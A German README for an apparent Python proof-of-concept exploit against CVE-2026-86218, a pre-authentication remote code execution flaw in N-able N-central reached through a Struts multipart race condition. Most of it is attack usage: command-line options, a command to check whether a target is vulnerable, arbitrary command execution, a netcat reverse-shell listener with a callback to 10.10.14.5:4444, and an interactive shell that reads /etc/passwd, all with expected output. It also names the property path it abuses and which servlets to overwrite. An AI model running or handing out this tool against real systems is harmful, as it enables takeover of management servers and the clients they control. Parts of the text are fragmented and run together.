
Python-3-Proof-of-Concept-Exploit für CVE-2026-86218, eine Pre-Auth-RCE in N-able N-central über eine Struts-Multipart-Race-Condition, mit Unterstützung für Befehlsausführung und Reverse Shell.
Dies ist ein Python-3-Proof-of-Concept-Exploit für CVE-2026-86218, eine kritische Remote-Code-Execution-Schwachstelle vor der Authentifizierung in N-able N-central.
Details zur Schwachstelle:
N-able N-central verwendet ein sitzungsgebundenes Struts-Formular für eine nicht authentifizierte Aktion (/remoteControlAction.do). Zwei gleichzeitige Multipart-Anfragen können den Multipart-Handler des Formulars überrennen und die Live-Konfiguration von Jetty für die Property-Population von Commons BeanUtils offenlegen. Dies ermöglicht einem Angreifer:
/bin/sh -s ausführtpip install requests
python3 CVE-2026-86218.py -t <target_url> [options]
| Option | Beschreibung |
|---|---|
-t, --target | Ziel-N-central-URL (z. B. https://192.168.1.100) |
-c, --command | Einzelner auszuführender Befehl |
-i, --interactive | Interaktiver Befehlsmodus |
--lhost | Listener-IP für Reverse Shell |
--lport | Listener-Port (Standard: 4444) |
--servlet | Zu ersetzendes Servlet: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet |
--check | Prüfen, ob das Ziel anfällig ist |
--no-verify-ssl | SSL-Zertifikatsüberprüfung deaktivieren |
--timeout | Anfrage-Timeout (Standard: 30s) |
--race-delay | Verzögerung der Race Condition (Standard: 0.35s) |
-v, --verbose | Ausführliche Ausgabe aktivieren |
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
Erwartete Ausgabe:
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
Erwartete Ausgabe:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)
Zuerst Listener starten:
nc -lvnp 4444
Exploit ausführen:
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
Erwartete Ausgabe:
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection
Listener-Ausgabe:
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
Interaktive Sitzung:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup
ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)
ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!
ncentral> exit
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
| Servlet | Beschreibung | Auswirkung |
|---|---|---|
LogRetrieval | Log-Abruf-Endpunkt (Standard) | Am wenigsten störend, Logs bis zum Neustart nicht verfügbar |
FileTransfer | Dateiübertragungs-Endpunkt | Beeinträchtigt die Dateiübertragungsfunktionalität |
AutomationManagerDownloadServlet | Automation-Manager-Download | Erfordert Management-UI-Port (8443) |
/remoteControlAction.do abfragen, um die Version aus der Fehlerseite zu extrahierenDie Schwachstelle nutzt eine Race Condition in der Multipart-Formularverarbeitung von Struts aus:
Die Mutationsfelder verwenden JavaBean-Property-Pfade:
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
Dies durchläuft: Multipart-Handler → Servlet-Kontext → Classloader → WebAppContext → Servlet-Handler → spezifischer Holder
/remoteControlAction.do